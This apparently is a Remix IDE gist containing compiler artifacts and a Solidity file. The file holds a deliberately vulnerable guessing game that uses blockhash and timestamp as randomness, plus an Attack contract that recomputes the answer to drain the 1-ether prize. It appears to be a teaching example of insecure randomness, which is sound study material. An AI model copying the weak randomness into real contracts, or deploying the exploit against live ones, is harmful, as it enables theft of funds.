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vyorkin/contracts...GuessTheRandomNumber.sol

Created March 8, 2022 11:29
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
Raw
contracts...artifacts...Attack.json
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{
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"name": "abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed",
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{
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},
{
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{
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{
"name": "end",
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"contents": "{\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_GuessTheRandomNumber_$51(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_GuessTheRandomNumber_$51(value) {\n if iszero(eq(value, cleanup_t_contract$_GuessTheRandomNumber_$51(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_GuessTheRandomNumber_$51(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_contract$_GuessTheRandomNumber_$51(value)\n }\n\n function abi_decode_tuple_t_contract$_GuessTheRandomNumber_$51(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_GuessTheRandomNumber_$51(add(headStart, offset), dataEnd)\n }\n\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n if lt(x, y) { panic_error_0x11() }\n\n diff := sub(x, y)\n }\n\n function cleanup_t_bytes32(value) -> cleaned {\n cleaned := value\n }\n\n function leftAlign_t_bytes32(value) -> aligned {\n aligned := value\n }\n\n function abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack(value, pos) {\n mstore(pos, leftAlign_t_bytes32(cleanup_t_bytes32(value)))\n }\n\n function leftAlign_t_uint256(value) -> aligned {\n aligned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack(value, pos) {\n mstore(pos, leftAlign_t_uint256(cleanup_t_uint256(value)))\n }\n\n function abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed(pos , value1, value0) -> end {\n\n abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack(value0, pos)\n pos := add(pos, 32)\n\n abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack(value1, pos)\n pos := add(pos, 32)\n\n end := pos\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
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},
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Raw
contracts...artifacts...Attack_metadata.json
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}
},
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}
Raw
contracts...artifacts...GuessTheRandomNumber.json
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},
"gasEstimates": {
"creation": {
"codeDepositCost": "180600",
"executionCost": "202",
"totalCost": "180802"
},
"external": {
"guess(uint256)": "infinite"
}
},
"methodIdentifiers": {
"guess(uint256)": "9189fec1"
}
},
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_guess",
"type": "uint256"
}
],
"name": "guess",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
Raw
contracts...artifacts...GuessTheRandomNumber_metadata.json
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_guess",
"type": "uint256"
}
],
"name": "guess",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/GuessTheRandomNumber.sol": "GuessTheRandomNumber"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/GuessTheRandomNumber.sol": {
"keccak256": "0xbc5a9306e7c6d3ca0ed80e588e309832613405de8daa0a79519699fb856694b8",
"license": "MIT",
"urls": [
"bzz-raw://3bde0a4df4a910dca4bed8e79239e78ecc4d70800d1e1795de32b79e8f7382e3",
"dweb:/ipfs/QmeeW2iLhNjFaw3SbECU9SazEnGP1MH4z4SxCF264kmjKh"
]
}
},
"version": 1
}
Raw
contracts...GuessTheRandomNumber.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
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